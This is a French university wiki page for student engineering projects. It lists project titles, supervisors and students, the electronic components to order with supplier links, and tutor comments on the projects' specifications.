| Manuel BUENO / Maureen GILLET
|-
| P5 [[Imprimante 3D à chocolat]]
| Emmanuelle Pichonat / Alexandre Boé
| Hugo VANDENBUNDER / Sylvain VERDONCK
|-
| P6 [[Zone de sécurité pour vélo]]
| Alexandre Boé / Thomas Vantroys
| Martin CLAVERIE / Victor CHARNET
|-
| P7 [[Journée IMA]]
| Emmanuelle Pichonat / Alexandre Boé
| Michel MIKHAEL
|-
| P9 [[Tableau blanc interactif]]
| Emmanuelle Pichonat / Alexandre Boé / Thomas Vantroys
| Romuald LENTIEUL / Léo MAZIER
|-
| P10 [[Réseau de capteurs longue distance]]
| Alexandre Boé / Thomas Vantroys
| Sonia NDUWAYO / Cong CHEN
|-
| P12 [[Robots mobiles pour Arduino]]
| Emmanuelle Pichonat / Alexandre Boé
| Audrey AFFOYON / Leticia STEPHANES LIMA
|-
| P16 [[Miroir intelligent]]
| Alexandre Boé / Thomas Vantroys
| Valentin BEAUCHAMP / Guillaume VILLEMONT
|-
| P21 [[Robot autonome pour cartographie]]
| Alexandre Boé / Xavier Redon / Thomas Vantroys
| Pierre MICHEL / Alexandre DESCAMD
|-
| P23 [[Matelas connecté]]
| Nathalie Rolland / Alexandre Boé / Thomas Vantroys
| Vincent ROBIC / Morgan OBEISSART
|-
| P27 [[BIOLOID commandé par Arduino]]
| Blaise Conrard
| Quentin GRUSON / Jordan RAZAFINDRAIBE
|-
| P28 [[Imprimante 3D multi-fils]]
| Antoine Urquizar / Alexandre Boé
| Antonin CLAUS / Cédric DUVAL
|-
| P29 [[Aide anti-gaspillage alimentaire]]
| Alexandre Boé / Thomas Vantroys
| Florian GIOVANNANGELI / Pierre FITOUSSI
|-
| P30 [[Micro-robots auto-organisés]]
| Alexandre Boé / Xavier Redon
| Corentin CASIER / Julie DEBOCK
|-
| P32 [[Veilleuse enfant connecté]]
| Thomas Vantroys
| Romain RUET / Julien BIELLE
|-
| P34 [[Jeu de plateforme tangible]]
| Alexandre Boé / Thomas Vantroys
| Stéphane MAIA / Maxime SZWECHOWIEZ
|-
| P37 [[Interface de communication entre robots]]
| Rochdi Merzouki
| Vianney PAYELLE
|-
| P38 [[Hydroponie]]
| Alexandre Boé
| Nicolas WEGRZYN
|-
| P39 [[Dirigeable publicitaire]]
| Xavier Redon
| Julien JOIGNAUX / Loïc DELECROIX
|-
| P41 [[Drone et occulus rift]]
| Jérémie Dequidt
| Geoffrey PIEKACZ / Nathan RICHEZ
|-
| P42 [[Mini-drones]]
| Xavier Redon
| Valentin TAFFIN / Alexandre CUADROS
|-
| P43 [[SmartMeter, gestion de consommation électrique]]
| Guillaume Renault / Alexandre Boé / Xavier Redon
| Haroun ABDELALI / Charlène DA COSTA NETO
|-
| P44 [[Le marteau de Thor]]
| Emanuelle Pichonat
| Matthieu HERWEGH / Kevin LE VAN PHUNG
|-
| P45 [[Orchestre électronique]]
| Lucas Prieux / Xavier Redon / Thomas Vantroys
| Thomas ROJ / Joshua LETELLIER
|-
| P47 [[Commande d'une suspension magnétique]]
| Aziz Nakrachi
| Hongyu ZHANG / Weixing JIN
|}

== Matériel à acquérir ==

{| class="wikitable"
! Projet !! Matériel
|-
| P0 [[Commande USB par micro-contrôleur]]
|
|-
| P4 [[Train de véhicules]]
|
LEDs IR (x20), RS [http://fr.rs-online.com/web/p/led-ir/6548334/], 
Phototransistors IR (x20), RS [http://fr.rs-online.com/web/p/phototransistors/6655388/], 
Drivers moteur Pololu (x1), GoTronic [http://www.gotronic.fr/art-commande-de-2-moteurs-tb6612fng-2x1a-21716.htm], 
Drivers moteur TB6612FNG (x3), Mouser [http://www.mouser.fr/ProductDetail/Toshiba/TB6612FNGOC8EL/?qs=VMlqFFbv3sQEQqYF0HJbow%3D%3D], <br\>
Borniers à vis (x15), Farnell [http://fr.farnell.com/camdenboss/ctb0502-2/bornier-carte-a-fil-2-voies-12awg/dp/2493622?MER=en-me-sr-b-all], <br\>
Résistances 220 Ohms CMS (x6), Mouser [http://www.mouser.fr/ProductDetail/Vishay-Dale/CRCW0603220RFKEA/?qs=sGAEpiMZZMtlubZbdhIBIKySljYCMs0HAiopx1mcVY0%3d], <br\>
Résistances 470 kOhms CMS (x20), Mouser [http://www.mouser.fr/ProductDetail/Panasonic/ERJ-3GEYJ474V/?qs=sGAEpiMZZMtlubZbdhIBIDkNbKahCB4%252bXwMzav7V8qQ%3d],
<br\>LEDs couleur (x10), RS [http://fr.rs-online.com/web/p/led/8134845/], <br\>
Fils m-m (x1 lot de 65), Farnell [http://fr.farnell.com/multicomp/mcbbj65/assortiment-de-jumper-fil-65pcs/dp/2396146], <br\>
Capas 10uF CMS (x10) Mouser [http://www.mouser.fr/ProductDetail/Murata-Electronics/ZRB18AR61C106ME01L/?qs=sGAEpiMZZMs0AnBnWHyRQPHsfd5klL7FP%2fi0oh%252bVTwkomqr6NYKsqQ%3d%3d], <br\>
Capas 0.1uF CMS (x10) Mouser [http://www.mouser.fr/ProductDetail/Kemet/C0603C104K4RACTU/?qs=sGAEpiMZZMs0AnBnWHyRQFqPnX0OlvcoGdtRY%252bgH1%2fs%3d], <br\>
Embases CI 40 contacts 1 rangée (x4) RS [http://fr.rs-online.com/web/p/embases-de-circuit-imprime/4232841/], <br\>
 Arduino Uno (x3) [01/02/2016], <br\>
ESP8266 (x1) [01/02/2016], <br\>
Chassis 2WD (x4) [01/02/2016], <br\>
Capteurs Ultrasons SR04 (x3) [01/02/2016], <br\>
Piles ou accumulateurs (x16 à 1.5V) [01/02/2016], <br\>
Odomètres codeurs (x8) [03/02/2016], <br\>
Boutons poussoirs (x3) [01/02/2016], <br\>
Shield Arduino + Breadboard (x3) [01/02/2016], <br\>
Colliers de serrage [01/02/2016]. 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P4.ods]].
|-
| P5 [[Imprimante 3D à chocolat]]
|
Electrovanne, RS [http://fr.rs-online.com/web/p/vannes-solenoides/2551496683/], 
Capteur de température, Mouser [http://www.mouser.fr/ProductDetail/Microchip-Technology/TC1047VNBTR/?qs=sGAEpiMZZMucenltShoSnjkfRJmEyKRQimeb4yJa%2fn8%3d], 
Fil résistif, RS [http://fr.rs-online.com/web/p/cable-industriel-multiconducteur/7496348/], 
Tuyau Clair, Diam.int 2,8mm, RS [http://fr.rs-online.com/web/p/tuyaux-dair/7747018/], 
Capteur de pression, Mouser [http://www.mouser.fr/ProductDetail/EPCOS-TDK/B58601E3215B580/?qs=sGAEpiMZZMvhQj7WZhFIAEcnfodwemFjFFuwDryPIpY%3d], 
Tube en cuivre, Diam.int 26mm, Leroy Merlin,[http://www.leroymerlin.fr/v3/p/produits/tube-d-alimentation-cuivre-diam-26-x-28-mm-en-barre-de-1-m-e8989], 
Raccord en té, RS [http://fr.rs-online.com/web/p/adaptateurs-tube-a-tube-en-t/7715752/], 
Ventilateurs type PC, 
Imprimante 3D, Fabricarium, 
Raccords et buses, imprimés 3D, 
Arduino UNO [04/02/2016], 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P5.ods]].
|-
| P6 [[Zone de sécurité pour vélo]]
|
Module Laser ligne (x3), Gotronic [http://www.gotronic.fr/art-module-laser-hlm1230-19016.htm], 
 Raspberry Pi 2 [01/02/2016], 
 Module caméra pour Raspberry Pi [01/02/2016] , 
 Dongle Bluetooth [01/02/2016] , 
Batterie(Accus), RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/], 
Embase à connecteur USB (x4 femelle) (x4 mâle) [01/02/2016], 
Cordon USB mâle-femelle (x4), Gotronic [http://www.gotronic.fr/art-cordon-2m-cw091b-15249.htm], 
Téléphone sous Android [01/02/2016] , 
Capteur de distance (ultrasons), Gotronic [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm], 
LED neopixel*8 (x4), Mouser [http://www.mouser.fr/ProductDetail/Adafruit/1426/?qs=sGAEpiMZZMu%252bmKbOcEVhFQfi8wYXkauJZrA7E1oPdUbRYeHGihkBqQ%3d%3d]. 
|-
| P7 [[Journée IMA]]
|
Plaques de plexiglas (x5) (à part Gotronic, aucun magasin ne le propose) [http://www.gotronic.fr/art-plaque-lexan-lex20-11856.htm], 
Réseau de 8 transistors ULN2803A (x4), Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/ULN2803A/?qs=sGAEpiMZZMvAvBNgSS9LqpP7ived4CP2] 
Résistance 10kohm (x75), 
Résistance 1kohm (x25), MAGASIN POLYTECH [http://melectro.polytech-lille.net/main.php?p=consultation&np=3], 
AOP 74HC574 (x15), Mouser (pas de stock en MAGASIN) [http://www.mouser.fr/ProductDetail/Texas-Instruments/SN74HC574N/?qs=sGAEpiMZZMvxP%252bvr8KwMwBnwYCvkZxeQoMRe0GOGaSg%3d], 
AOP 74HC138 (x4), MAGASIN POLYTECH , 
Condensateur 22pF (x5), Magasin Polytech [http://melectro.polytech-lille.net/main.php?p=consultation&np=7], 
Condensateur 1uF (x25), Magasin Polytech [http://melectro.polytech-lille.net/main.php?p=consultation], 
Condensateur 1000uF (x5), RS (Pas de stock en MAGASIN) [http://fr.rs-online.com/web/p/condensateurs-aluminium/5261446/?origin=null|fp&cm_sp=featureproducts-_-FeaturedProductsContent-_-5261446m], 
Condensateur 10uF (x4), Magasin Polytech [http://melectro.polytech-lille.net/main.php?p=consultation&np=4], 
Condensateur 100uF (x3), 
Reseaux de résistance 10kohm (x5), farnell [http://fr.farnell.com/vishay/vsor1601103jtf/reseau-de-resistance-10k/dp/1203468], 
Transistor CMS (x25), farnell [http://fr.farnell.com/diodes-inc/bc848b-7-f/transistor-npn-sot23/dp/1773620], 
Transistor (x25), farnell [http://fr.farnell.com/on-semiconductor/bc548brl1g/transistor-npn-30v-100ma-to-92/dp/2317545], 
Microcontroleur MBED (x1), RS [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7039238/], 
Supercondensateur (x4), Mouser [http://www.mouser.fr/ProductDetail/Maxwell-Technologies/BCAP0010-P270-T01/?qs=sGAEpiMZZMuoE%252bleORarXmfAVBuwwvGh], 
LED IR, (x6), RS [http://fr.rs-online.com/web/p/led-ir/8108247/], 
LED (x15), 
Mini moteur électrique (x3), gotronic [http://www.gotronic.fr/art-moteur-miniature-rm2-avec-pignon-12009.htm], 
support d'AOP (x15) (Magasin électronique POLYTECH Lille) , 
E-theremin (projet IMA4 2014-2015), 
Arduino UNO , 
Raspberry PI , 
BreadBoard , 
Dé électronique communicant(projet IMA4 2014-2015).
|-
| P9 [[Tableau blanc interactif]]
|
Manette Wiimote [27/01/2016], 
Vidéo projecteur, 
Adaptateur Bluetooth USB [27/01/2016], 
Led infrarouge [27/01/2016], 
Raspberry Pi [03/02/2016].
|-
| P10 [[Réseau de capteurs longue distance]]
|
50 aimants néodyne épaisseur 1,5mm, diamètre 3mm , 
1 plaque MDF pour les pièces de puzzle, 
<ul>
<li> Partie micro-contrôleur : 
micro-contrôleur de type ATMEGA328P, FARNELL [http://fr.farnell.com/atmel/atmega328-pu/micro-8-bits-avr-32k-flash-28pdip/dp/1972087], 
1 résistance CMS 10K, 
1 résistance CMS 1K, 
1 résistance CMS 1M, 
3 capacités CMS 100n, 
1 diode CMS, 
2 LEDs , 
1 quartz, FARNELL [http://fr.farnell.com/iqd-frequency-products/lfxtal003240/quartz-16mhz/dp/9713700], 
4 piles de 1,5v AAA, 
1 pile de 9V, 
1 support 4 piles AAA à souder, 
1 support pile 9V à souder, 
1 bouton poussoir (reset), 
1 fil de cuivre pour antenne, 
1 capteur de température.
</li>
<li> Partie alimentation : 
1 résistance CMS 10K, 
1 résistance CMS 1K, 
1 capacité CMS 100n, 
1 capacité CMS 1u, 
2 capacité découplage CMS 47u, 
1 capacité CMS 100n, 
1 capacité CMS 1u, 
1 diode CMS, 
2 LEDs jaune et verte, 
1 transistor, RS ONLINE [http://fr.rs-online.com/web/p/transistors-mosfet/6710435/], 
2 amplificateurs, RS ONLINE [http://fr.rs-online.com/web/p/amplificateurs-operationnels/0426051/], 
1 régulateurs de tension NCP, RS ONLINE [http://fr.rs-online.com/web/p/regulateurs-de-tension-a-faible-chute-ldo/8022130/?searchTerm=regulateur+de+tension+NCP1117ST50T3G&relevancy-data=636F3D3126696E3D4931384E4C446573634D504E266C753D6672266D6D3D6D617463687061727469616C6D617826706D3D5E5B5C707B4C7D5C707B4E647D5C707B5A737D2D2C2F255C2E5D2B2426706F3D393326736E3D592673743D4B4559574F52445F4D554C54495F414C5048415F4E554D455249432673633D592677633D4E4F4E45267573743D726567756C61746575722064652074656E73696F6E204E4350313131375354353054334726], 
1 régulateur de tension DC, RS ONLINE [http://fr.rs-online.com/web/p/regulateurs-de-tension-lineaires/7140792/], 
1 régulateur de tension TPS, RS ONLINE [http://fr.rs-online.com/web/p/regulateurs-de-tension-a-faible-chute-ldo/0527340/].
</li>
<li> Partie radio : 
module radio de type RF-LORA-868-SO, RS ONLINE [http://fr.rs-online.com/web/p/modules-rf-faible-consommation/9033034/?origin=PSF_437731%7Cacc].
</li>
</ul>
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P10.ods]].
|-
| P12 [[Robots mobiles pour Arduino]]
|
2 paires de roues de 65 mm de diamètre [http://www.gotronic.fr/art-paire-de-roues-jaunes-tam6626j-19346.htm], 
2 moteurs [03/02/2016], 
1 capteur ultrasons [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm], 
1 capteur de température [http://www.mouser.fr/ProductDetail/Analog-Devices/TMP36GT9Z/?qs=sGAEpiMZZMv9Q1JI0Mo%2ftZYNPIqRJ81F], 
1 capteur de lumière [http://www.gotronic.fr/art-photoresistance-5-mm-vt93n2-22551.htm], 
1 paquet de 4 piles AA [http://fr.farnell.com/energizer/635730/batterie-extreme-ni-mh-aa-2300mah/dp/2075717], 
2 résistances de 330 Ω [disponible en B204], 
2 transistors [disponible en B204], 
2 diodes [disponible en B204], 
1 haut parleur, 
2 leds rouges [disponible en B204], 
2 leds jaunes [disponible en B204], 
1 breadboard, 
Un arduino UNO [03/02/2016], 
Un boitier de 4 piles AA [http://www.mouser.fr/ProductDetail/Eagle-Plastic-Devices/12BH348-CS-GR/?qs=sGAEpiMZZMsRxHb9hCd0qoPCXJRSAWxUgxweyALoa2Q%3d]
|-
| P16 [[Miroir intelligent]]
|
Raspberry Pi 2 [27/01/2016], 
Clé WiFi [27/01/2016], 
Câble USB-microUSB [27/01/2016], 
Carte SD [27/01/2016], 
Câble HDMI, 
Ecran : Amazon [http://www.amazon.fr/BenQ-Ecran-PC-LED-27/dp/B00HZF2ME0/ref=sr_1_1?ie=UTF8&qid=1451984469&sr=8-1&keywords=BenQ+GL2760H#productDetails] ou RS [http://fr.rs-online.com/web/p/moniteurs/8962732/], 
Miroir sans tain de la taille de l'écran, tapplastics [http://www.tapplastics.com/product/plastics/cut_to_size_plastic/two_way_mirrored_acrylic/558], 
Matrice de led tactile 40pouces.
|-
| P21 [[Robot autonome pour cartographie]]
|
Raspberry Pi 2 - [03/02/2016]. 
Carte SD - [03/02/2016]. 
Arduino UNO - [03/02/2016]. 
Clef WiFi pour mesure RSSI (x3) - [03/02/2016]. 
Capteur ultrason, Gotronic : [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm]. 
Servomoteur, Gotronic : [http://www.gotronic.fr/art-servomoteur-s05nf-21481.htm]. 
Pilote de moteur (x5), Mouser : [http://eu.mouser.com/ProductDetail/Freescale-Semiconductor/MC34931EK/?qs=sGAEpiMZZMvQcoNRkxSQkiOBqyFfjGe5mG1PBZLkPLE%3d]. 
Résistance 270 Ohm (x10), Mouser : [http://www.mouser.fr/ProductDetail/TE-Connectivity-Holsworthy/3521270RFT/?qs=sGAEpiMZZMu61qfTUdNhG15ROd0nQ7Wlf0zCDKWeZ5snBOgjDqh8dA%3d%3d]. 
Capacité 100 uF (x5), Gotronic : [http://www.gotronic.fr/art-condensateur-lcc-100-nf-66.htm]. 
Capacité 100 nF (x5), Gotronic : [http://www.gotronic.fr/art-condensateur-lcc-100-nf-66.htm]. 
Capacité 33 nF (x5), Gotronic : [http://www.gotronic.fr/art-condensateur-lcc-33-nf-3267.htm]. 
Capacité 1 uF (x5), Gotronic : [http://www.gotronic.fr/art-condensateur-lcc-1-uf-3274.htm]. 
Câble USB 2m (x1 ou x2), Gotronic : [http://www.gotronic.fr/art-cordon-2m-cw091b-15249.htm]. 
Fourche optique (x2), Gotronic : [http://www.gotronic.fr/art-interrupteur-optique-gp1a57hrj00f-21001.htm]. 
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P21.ods]].
|-
| P23 [[Matelas connecté]]
|
Neopixel [4 fournis le 03/02/2016], 
RFduino [2 fournis le 03/02/2016], 
Capteur de température DS18B20 1-Wire [1 fourni le 03/02/2016], 
Résistance 4K7 [1 fournie le 03/02/2016], 
|-
| P27 [[BIOLOID commandé par Arduino]]
|
Non inverting buffer 74HC126 x2 [http://www.mouser.fr/ProductDetail/NXP-Semiconductors/74HC126D653/?qs=sGAEpiMZZMuiiWkaIwCK2RTxPVPWGz6WVfjhJh2Mav0%3d], 
Ardoise magnétique, 
Kit bioloid 
Carte Arduino Uno [27/01/2016]
|-
| P28 [[Imprimante 3D multi-fils]]
|
moteur NEMA 17 x6 [http://www.gotronic.fr/art-moteur-17hm15-0904s-23049.htm], 
Driver NEMA 17 x6 [http://www.gotronic.fr/art-driver-de-moteur-pas-a-pas-drv8834-2134-22274.htm], 
Engrenage x6 [http://www.banggood.com/fr/1_75MM-8MM-MK7-Extruder-Drive-Gear-Bore-For-3D-Printer-Accessories-p-1013103.html], 
Roulement x6 [http://www.gotronic.fr/art-roulement-35-15-11mm-161.htm], 
Courroie GT2, 
Thermistance NTC100K, 
Arduino. 
|-
| P29 [[Aide anti-gaspillage alimentaire]]
|
Un Smartphone sous Android.
|-
| P30 [[Micro-robots auto-organisés]]
|
Un microcontrôleur Atmega 328P-au x2 (farnell) [http://fr.farnell.com/atmel/atmega328p-au/micro-8-bits-avr-32k-flash-32tqfp/dp/1715486?selectedCategoryId=&exaMfpn=true&categoryId=&searchRef=SearchLookAhead],
<br\>Moteur vibreur x4 (mouser) [http://www.mouser.fr/ProductDetail/Parallax/28821/?qs=sGAEpiMZZMsv3%2fxVbQiciD2XahQ7lqLvcbiE4XVIbwo%3d],<br\>
Batterie lithium ion x2 (farnell) [http://fr.farnell.com/bak/18650ca-1s-3j/batterie-lithium-ion-3-7v-2250/dp/2401852?MER=BN-2401852], <br\>
Chargeur de batterie lithium ion x2 (farnell) [http://fr.farnell.com/microchip/mcp73834-fci-un/controleur-de-charge-li-ion-li/dp/1332162],<br\>
Régulateur de tension x2 (farnell) [http://fr.farnell.com/microchip/mcp1826s-3002e-db/ic-ldo-3-0v-1a-sot-223-3/dp/1578422],<br\>
Mini usb connecteur x2 (farnell) [http://fr.farnell.com/mill-max/896-43-005-00-100001/mini-usb-2-0-type-a-receptacle/dp/1925238],<br\>
Photo transistor x16 (farnell) [http://fr.farnell.com/kingbright/l-53p3c/phototransistor-5mm-940nm/dp/2290444?selectedCategoryId=&exaMfpn=true&categoryId=&searchRef=SearchLookAhead],<br\>
LED infrarouge x8 (farnell) [http://fr.farnell.com/kingbright/l-934f3c/emetteur-ir-t-1/dp/2290438],<br\>
LED verte x2 [http://fr.farnell.com/vishay/vlmg31k1l2-gs08/led-plcc2-green/dp/1328317], <br\>
LED rouge x4 [http://fr.farnell.com/toshiba/tlsh1100b-t11/led-rouge-plcc2-260mcd/dp/1761592],<br\>
LED bleu x2 [http://fr.farnell.com/vishay/vlmb41p1q2-gs18/led-plcc2-bleu/dp/1648564],<br\>
Interrupteur x2, <br\>
Transistor NPN CMS x4 (lot de 5) (farnell) [http://fr.farnell.com/fairchild-semiconductor/pzta42/transistor-npn-sot-223/dp/9846654], <br\>
Diode x4 (farnell) [http://fr.farnell.com/diodes-inc/bav21w-7-f/diode-commutateur-200v-0-25w-sod123/dp/1858652],<br\>
condensateurs 1uF x18 (farnell) [http://fr.farnell.com/avx-formerly-known-as-nichicon/f931c105maa/tantalum-capacitor-1uf-16v-7-5/dp/1818580], <br\>
résistances 470 Ohm x10 (farnell) [http://fr.farnell.com/vishay-draloric/rcl0612-470r-1-100-ppm-k-e3/res-couche-epaisse-470r-1-0-5w/dp/1877845], <br\>
résistances 4,7 kOhm x16 (farnell) [http://fr.farnell.com/vishay-draloric/rcl0612-4k7-1-100-ppm-k-e3/res-couche-epaisse-4-7k-1-0-5w/dp/1877852RL], <br\>
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P30.ods]].
|-
| P32 [[Veilleuse enfant connecté]]
|
Raspberry Pi 2 [27/01/2016], 
Clé WiFi Wi-Pi [27/01/2016], 
Câble USB-microUSB [27/01/2016], 
Carte SD [27/01/2016], 
Câble HDMI [27/01/2016], 
Pico-projecteur ASUS S1 [27/01/2016], 
Petit microphone (farnell) [http://fr.farnell.com/pro-signal/abm-715-rc/electret-microphone-omni-leads/dp/2066501], 
Un capteur de température [Disponible a l'école], 
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P32.ods]].
|-
| P34 [[Jeu de plateforme tangible]]
|
Raspberry Pi 2 [27/01/2016], 
Webcam pour Raspberry Pi 2[27/01/2016]. 
|-
| P37 [[Interface de communication entre robots]]
|
Robotino (Robocup).
|-
| P38 [[Hydroponie]]
|
Un sac de billes d'argile : [http://www.ebay.fr/itm/Sac-de-Billes-d-argile-5L-substrat-de-culture-pour-plantes-amendement-/380377359803], 
Un pot panier : [http://www.indoorgardens.fr/fr/pots-panier-aero/207-pot-panier-teku-souple-5cm-2-pouces-123.html][http://www.cityplantes.com/pots-carres/774-pot-carre-godet-7x7xh8cm.html], 
Un bac réservoir d'eau : [http://www.lorvert-paris.com/growshop-hydroponique-culture-indoor/systeme-hydroponique/bac/nutrisystem-bac-reserve/255.html], 
Une plaque en PVC : [http://www.leroymerlin.fr/v3/p/produits/plaque-pvc-expanse-100x50cm-ep-3mm-e162646], 
Un caisson (disponibilité au fab ?), 
Deux m² de laine de roche : [http://www.castorama.fr/store/Panneau-laine-de-roche-Rocflam-ep30mm-PRDm474800.html?isSearchResult=true&navAction=jump], 
Un capteur d'humidité : [http://fr.farnell.com/multicomp/hcz-d5-a/capteur-humidite-20-90-rh-5/dp/1891428], 
Un ventilateur : [http://www.culture-dinterieur.fr/extracteur-intracteur-ventilateur-160m3-adda/product_info.php/products_id/2073], 
Deux capteurs ne niveau : [http://fr.farnell.com/ist-innovative-sensor-technology/fs1l-a-1l-195/capteur-de-fluide-moule/dp/1266955], 
Une pompe à air avec diffuseur : [http://www.aquaprems.com/pack-complet-pompes-a-air-aquarium/489-pack-complet-pompe-a-air-bulleur-aquarium.html], 
Une résistance chauffante : [http://www.stego.de/fr/produits/chauffer/resistances-chauffantes/15-w-a-150-w.html], 
Quatre LEDs RGB : [http://fr.rs-online.com/web/p/led/8294310P/], 
Une pompe à eau : [http://www.aqua-store.fr/pompes-a-eau-aquarium-eau-de-mer/1990-eden-pompe-105-4010052571607.html], 
Une batterie : [http://www.solar-kit.com/epages/62035995.sf/fr_FR/?ObjectPath=/Shops/62035995/Products/BAPLAG127.225-batterie-solaire-7ah], 
Un MPPT : [http://www.cdiscount.com/auto/outillage-auto/20a-mppt-panneau-solaire-regulat-charge-controlle/f-13399-auc8405971088286.html?idOffre=81825404#mpos=2|mp], 
Un système goutte à goutte : 2*[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1031-jonction-4mm-tee.html],[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1038-bouchon-90-micro-diametre-16.html],2*[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1030-jonction-4mm-auto-percante.html],[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1033-couronne-tuyau-capillaire-20m-3x5mm.html], 
Un Arduino Uno, 
Un panneau solaire, 
Un plant de fraise. 
|-
| P39 [[Dirigeable publicitaire]]
|
Un arduino UNO [03/02/2016] , 
Une enveloppe imperméable (A VERIFIER), 
9 m3 d'hélium (lien du devis :[[https://projets-ima.polytech-lille.net:40079/mediawiki/index.php?title=Dirigeable_publicitaire#Devis_pour_l.27h.C3.A9lium]]),Air Liquide [27/01/2016], 
Accessoires de drone HS (hélices, moteurs) [27/01/2016], 
10 x Capteurs à ultrasons, Gotronic [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm], 
Alim ARDUINO 5V 5000mAh, RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/], 
Alim moteurs (chez Parrot - hors sites autorisés), 
Ballon gonflable à l'hélium [http://www.ballon-helium.com//ballon-geant-chloroprene-180/ballon-chloroprene-unis-mat-1-20m-12661.html], 
|-
| P41 [[Drone et occulus rift]]
|
Une plaque à essai pour nos tests [01/02/2016], 
fils mâle/mâle x10 [01/02/2016], 
2 Mini Webcam USB GT06051, Gotronic [http://www.gotronic.fr/art-mini-webcam-usb-gt06051-23495.htm], 
Chargeur portable, PB-A5200, Power Bank, 5000mAh, Lithium Polymère, RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/], 
Un câble "série" pour raspberry [01/02/2016], 
Servo-moteur 180° [01/02/2016, achat personnel], 
convertisseur HDMI-SVGA pour Raspberry Pi [03/02/2016]. 
|-
| P42 [[Mini-drones]]
|
Minidrones Parrot : JUMPING SUMO [01/02/2016], 
Minidrones Parrot : ROLLING SPIDER [01/02/2016].
|-
| P43 [[SmartMeter, gestion de consommation électrique]]
|
Un panstamp NRG [02/02/2016] [http://panstamp.com/store/index.php?id_product=47&controller=product], 
Maxim 78M6610+LMU [http://eu.mouser.com/ProductDetail/Maxim-Integrated/78M6610+LMU-B01/?qs=sGAEpiMZZMuicgbJr93hQVd6%252bEl2PjSnPQyvC3%252bgS6U%3d], 
Quartz 20Mhz [http://fr.farnell.com/iqd-frequency-products/lfxtal003185/quartz-20mhz/dp/9712879], 
<ul>
<li>Capacités : 
1 µF x9 unités [http://fr.farnell.com/tdk/c1608x5r1h105k080ab/condensateur-mlcc-x5r-1uf-50v/dp/2211179], 
0.1uF x9 unités [http://fr.farnell.com/multicomp/mc0603f104z500ct/condensateur-mlcc-y5v-100nf-0603/dp/1759123], 
18 pF x6 unités [http://fr.farnell.com/walsin/0603n180j500ct/condensateur-mlcc-np0-18pf-50v/dp/2496890?MER=en-me-sr-b-all] , 
</li>
<li>Résistances : 
100 Ohm, [http://fr.rs-online.com/web/p/resistances-cms/2132143/] , 
750 Ohm, [http://fr.rs-online.com/web/p/resistances-cms/6790692/] , 
1 KOhm, [http://fr.rs-online.com/web/p/resistances-cms/2132266/] , 
10 KOhm, [http://fr.rs-online.com/web/p/resistances-cms/2132418/] , 
1 MOhm, [http://fr.rs-online.com/web/p/resistances-cms/6789932/] , 
</li>
</ul>
Résistance de shunt: 0.004 Ohm [http://fr.rs-online.com/web/p/resistances-cms/8665374/], 
Leds rouge CMS x12, [http://fr.farnell.com/rohm/sml-310vtt86l/led-0603-rouge/dp/1685064] , 
Bornier [http://fr.farnell.com/camdenboss/ctb0308-2/bornier-2-voies/dp/3882652] 
Transformateur VTX-214 001 103 [http://fr.farnell.com/vigortronix/vtx-214-001-103/conv-ac-dc-fixe-1-o-p-1w-3-3v/dp/2401019], 
Adaptateur USB [02/02/2016]. 
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P43.ods]].
|-
| P44 [[Le marteau de Thor]]
|
Un arduino UNO [27/01/2016] 
un lecteur d'empreintes digitales : Mouser [http://www.mouser.fr/ProductDetail/MikroElektronika/MIKROE-1722/?qs=GJ%2F2ZGcr5uOW3uiL4M9shA%3D%3D], 
Un shield NFC [27/01/2016] , 
Un téléphone sous Androïd [27/01/2016], 
Un capteur de pression [03/02/2016], 
Un électro aimant [25/01/2016], 
Une alimentation électroaimant (labo 24V), 
Une alimentation arduino [27/01/2016]. 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P44.ods]].
|-
| P45 [[Orchestre électronique]]
|
Alimentation PC [27/01/2016], 
Lecteurs de disquette (x2) [27/01/2016], 
Lecteur CD (x1) [27/01/2016], 
Disques durs (x3) [27/01/2016], 
Scanner [27/01/2016], 
Raspberry Pi 2 + alimentation + FTDI [27/01/2016], 
Cables GPIO femelle [27/01/2016], 
Cable Alimentation PC [27/01/2016], 
Buffers 3 états (Farnell) [http://fr.farnell.com/fairchild-semiconductor/nc7sp126p5x/buffer-single-tri-state-sc-70/dp/2453002], 
Imprimantes [01/02/2016], 
Clavier MIDI [http://www.thomann.de/fr/m_audio_keystation_mini_32_mk2.htm?gclid=Cj0KEQiAoby1BRDA-fPXtITt3f0BEiQAPCkqQQKdntNWLwKu92GOUp2gHXfTCj5t0WB9LWyZjAaAZUkaAmDV8P8HAQ]. 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P45.ods]].
|-
| P47 [[Commande d'une suspension magnétique]]
|
 Logiciel Matlab simulink et la suspension magnétique Didastel. .
|-
|}

== Notes sur les projets ==

{| class="wikitable"
| Projet || Mini-cahier des charges || Mi-parcours || Fin de parcours || Wiki terminé || Rapport || Vidéo
|-
| P0 [[Commande USB par micro-contrôleur]]
| Vide.
|
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|-
| P4 [[Train de véhicules]]
| Cahier des charges très correct, bien rédigé, illustré, un schéma intéressant, le sujet est compris. Une liste du matériel nécessaire, précise et raisonnable.
|
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|
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|-
| P5 [[Imprimante 3D à chocolat]]
| Très bon cahier des charges, bien rédigé, illustré, bonne synthèse du travail à effectuer. Le matériel nécessaire est listé mais sans référence précise.Il n'est pas évident que ce matériel soit d'un coût raisonnable.
|
|
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|
|-
| P6 [[Zone de sécurité pour vélo]]
| Cahier des charges correct. Synthèse d'une réunion interne. Liste précise du matériel.
|
|
|
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|
|-
